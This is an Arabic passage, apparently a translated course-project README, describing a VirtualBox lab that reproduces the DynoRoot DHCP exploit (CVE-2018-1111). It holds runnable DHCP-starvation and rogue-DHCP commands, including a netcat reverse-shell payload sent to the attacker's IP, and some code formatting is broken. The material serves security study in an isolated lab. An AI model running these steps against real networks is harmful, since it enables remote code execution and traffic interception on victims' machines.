--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"
إذا حدث خطأ ما:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### تثبيت نظام التشغيل
في المرة الأولى التي نشغّل فيها الجهاز، نحتاج إلى سطح مكتب افتراضي لمتابعة خطوات التثبيت. يمكننا
تشغيل الجهاز الافتراضي في الوضع headless واستخدام `rdesktop-vrdp` للاتصال. إذا كان VirtualBox
يعمل على جهاز كمبيوتر مكتبي، فقد يكون من الأسهل تشغيل الجهاز الافتراضي من الواجهة الرسومية، لكن
هذه الطريقة ستعمل حتى مع مضيف VirtualBox بعيد.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
تكوين التثبيت:
fedoravictimvicenp0s8 لاستخدام DHCP

بعد التثبيت، قم بإيقاف التشغيل، وأزل ملف ISO، وعطّل VRDE:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### تسجيل الدخول عبر SSH
لسهولة الوصول، يمكننا تثبيت مفتاح SSH الذي أنشأناه أعلاه في جهاز `victim`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack
تحقق من أن الواجهة enp0s8 تستخدم DHCP:```bash
sudo nmcli device show enp0s8
إذا لم يكن كذلك، يمكن تكوينه باستخدام:```
sudo nmcli connection down enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up enp0s8
للتراجع إلى عنوان IP ثابت:```bash sudo nmcli connection down enp0s8 sudo nmcli connection modify enp0s8 IPv4.address 192.168.0.99/24 sudo nmcli connection modify enp0s8 IPv4.method manual sudo nmcli connection up enp0s8
## تنفيذ الهجوم
الخطوات التالية، المنفذة بالترتيب، ستوضح هجوم DHCP.
نقترح إعداد مضاعِف طرفية مثل [Byobu](https://www.byobu.org/) لتسهيل
التنقل من جهاز إلى آخر.
قبل الهجوم:
1. شغّل الأجهزة الافتراضية الثلاثة، والتي ستتصل تلقائيًا بخادم DHCP الشرعي
2. افصل جهاز Fedora ونظّف ملفات تأجير DHCP لمحاكاة اتصال جديد
3. أعد تشغيل خادم DHCP لمحاكاة اتصال جديد
يتكون الهجوم نفسه من:
1. إطلاق سلسلة من طلبات DHCP REQUEST المزيفة من المهاجم لتجويع خادم DHCP الشرعي
2. تشغيل خادم DHCP المارق الذي سيرسل OFFERs الخبيثة إلى الضحية
3. إعادة توصيل جهاز Fedora وانتظار قيام NetworkManager ببث رسالة DHCP DISCOVER
4. انتظار اتصال الصدفة العكسية
إذا حدث أي شيء، أوقف جميع الخدمات ذات الصلة وابدأ من جديد.
### البوابة
نظّف تأجيرات DHCP القديمة وجدول ARP، ثم أعد تشغيل خادم DHCP:```bash
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8
sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
احصل على عقد DHCP جديد:``` sudo dhclient -r enp0s8 sudo dhclient -v enp0s8
سجّل حركة مرور DHCP باستخدام `tcpdump`:```bash
sudo ip link set enp0s8 promisc on
sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'
بدلاً من ذلك، يمكن لـ VirtualBox أيضًا تسجيل حركة المرور:```bash VBoxManage modifyvm "attacker" --nictrace2 on --nictracefile2 capture.pcap VBoxManage modifyvm "attacker" --nictrace2 off
شغّل استنزاف DHCP (شغّله كـ `root`):```
sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
--interface enp0s8 \
--pool-start 192.168.0.100 \
--pool-end 192.168.0.105
استخدم netcat للاستماع إلى الاتصالات من الضحية:``` nc -v -l -p 1337
شن الهجوم (شغّل كـ `root`):```bash
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
-i enp0s8 \
-s 192.168.0.0/24 \
-g 192.168.0.1 \
-d 'victim.net' \
-m "${MY_MAC}" \
-p "nc -e /bin/bash ${MY_IP} 1337"
نظّف عقود DHCP القديمة وأعد الاتصال:``` sudo nmcli connection down enp0s8 sudo find /var/lib/NetworkManager -name 'dhclient-*-enp0s8.lease' -delete
sudo nmcli connection up enp0s8 nmcli
### التحليل
#### التقاط الفيديو
يعرض [الفيديو](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4) التالي تنفيذ الهجوم باتباع
الخطوات السابقة. في الفيديو، يمكن ملاحظة:
1. تبادل DHCP رباعي الاتجاهات بين `gateway` و`attacker`
2. هجوم تجويع DHCP، سواء في وحدة تحكم المهاجم
أو في سجلات خادم DHCP (لاحظ `NACK` بسبب الإيجار الحالي للمهاجم)
3. رسالة "لا توجد إيجارات مجانية" من `gateway` عندما يبث `victim` رسالة DHCP `DISCOVER`
4. رسائل DHCP المصممة لخادم DHCP المارق الذي يعرض `192.168.0.2`
5. التأكيد على أن netcat استقبل اتصال الصدفة العكسية من `192.168.0.2`
6. خيارات DNS المزيفة التي تلقاها `victim`،
أي عنوان DNS `192.168.0.1` والنطاق `victim.net`
7. التنفيذ الناجح لأوامر بسيطة عن بُعد على جهاز الضحية
8. رسالة DHCP `RELEASE` المُرسلة في نهاية الهجوم
<a href="https://youtu.be/rgjMzQ5ExyA">
<img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
</a>
#### تحليل حركة المرور
يمكن تحليل [ملف الالتقاط](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap) الذي يحتوي على أثر الهجوم في
[Wireshark](https://wiki.wireshark.org/DHCP). في الالتقاط يمكننا ملاحظة:
1. تبادل DHCP رباعي الاتجاهات بين `gateway` و`attacker`
2. هجوم تجويع DHCP
3. تبادل DPCH الذي بدأه `victim` وأكمله `attacker`
4. طلبات واستجابات ARP _who-has_ عندما اتصل `victim` بجلسة netcat
على `attacker`
<figure style="text-align:center">
<img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
<figcaption>التقاط حزم الهجوم، مع إبراز خيار DHCP المرتبط بالاستغلال. تشير الأحرف في عناوين MAC إلى: <code>d</code> خادم DHCP، <code>a</code> مهاجم، <code>f</code> ضحية Fedora</figcaption>
</figure>
## العمل المستقبلي
يستهدف DynoRoot توزيعات Fedora وRedHat القديمة، وقد تم تصحيحه في الإصدارات الأحدث.
لذلك، فرص تنفيذ هذا الاستغلال في البيئات الحقيقية محدودة. لحسن الحظ، هجمات DHCP
ليست مقصورة على تنفيذ الأكواد عن بُعد: أي نوع من الخيارات المصممة سيتم قبوله من قبل العميل
بغض النظر عن وجود ثغرة DynoRoot. أبسط طريقة لاستغلال هذا السلوك
هي الترويج لجهاز يتحكم فيه المهاجم باعتباره بوابة الشبكة أو DNS لمنطقة معينة،
مما يسمح بمراقبة وفحص وإعادة توجيه أي حركة مرور لاحقة.
اتجاه آخر مثير للاهتمام يتعلق بهجمات تجويع DHCP. الهجوم المقدَّم في هذا المشروع
يعتمد على إغراق خادم DHCP برسائل `REQUESTS` من عناوين MAC مزيفة، وهذا ليس
تعريف التخفي. تستكشف هذه التدوينة إمكانية
[تنفيذ هجمات تجويع دون إرسال حزمة DHCP واحدة](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9)
بل بالاعتماد بدلاً من ذلك على استجابات ARP مزيفة.
## الاعتمادات
تم إبلاغ Red Hat بـ[CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151)
من قبل [Felix Wilhelm](https://twitter.com/_fel1x) من فريق أمن Google.
النص البرمجي بلغة Python لتنفيذ الاستغلال مأخوذ من [مستودع](https://github.com/kkirsche/CVE-2018-1111) الخاص بـ[Kevin Kirsche](https://github.com/kkirsche) على GitHub
مع تعديلات طفيفة لتجاهل عنوان MAC الخاص بالمهاجم نفسه.